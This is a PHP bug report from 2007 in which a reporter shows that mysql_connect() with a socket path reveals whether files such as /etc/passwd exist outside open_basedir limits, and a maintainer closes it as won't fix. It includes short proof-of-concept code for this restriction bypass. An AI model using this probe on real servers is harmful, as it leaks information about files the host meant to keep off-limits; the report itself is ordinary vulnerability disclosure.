ID: 41654
Updated by: [EMAIL PROTECTED]
Reported By: dr at peytz dot dk
-Status: Open
+Status: Wont fix
Bug Type: Safe Mode/open_basedir
Operating System: Linux
PHP Version: 5.2.3
New Comment:
It is quite impractical for PHP to validate things like unix domain
socket paths for all databases that support them to avoid
open_basedir/
safe_mode bypasses. Had the bypass allowed reading of files, I could
see
the need to implement additional checks, but simple "presence" checks
don't warrant hacks necessary to add such protection.
Previous Comments:
------------------------------------------------------------------------
[2007-06-11 17:12:20] dr at peytz dot dk
Description:
------------
file_exists() etc. does not allow checking the existence of files
outside the directories specified in open_basedir.
This can be circumvented using mysql_connect(). The existence of a file
can be checked using the example code below.
Reproduce code:
---------------
$filename = '/etc/passwd';
mysql_connect(':' . $filename);
$error = error_get_last();
if (strpos($error['message'], '(13)')) {
print 'file exists';
} else {
print 'file does not exist';
}
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=41654&edit=1